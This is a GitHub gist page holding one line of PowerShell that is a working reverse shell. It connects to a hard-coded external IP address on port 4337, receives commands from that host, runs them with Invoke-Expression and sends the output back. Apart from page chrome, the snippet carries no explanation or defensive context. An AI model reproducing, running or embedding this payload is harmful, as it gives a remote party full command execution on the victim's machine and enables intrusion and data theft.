Skip to content

Instantly share code, notes, and snippets.

@turcane
Last active August 19, 2022 12:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save turcane/7e90d888d70881d7a503d1435187bd32 to your computer and use it in GitHub Desktop.
Save turcane/7e90d888d70881d7a503d1435187bd32 to your computer and use it in GitHub Desktop.
$sm=(New-Object Net.Sockets.TCPClient("167.172.173.182",4337)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment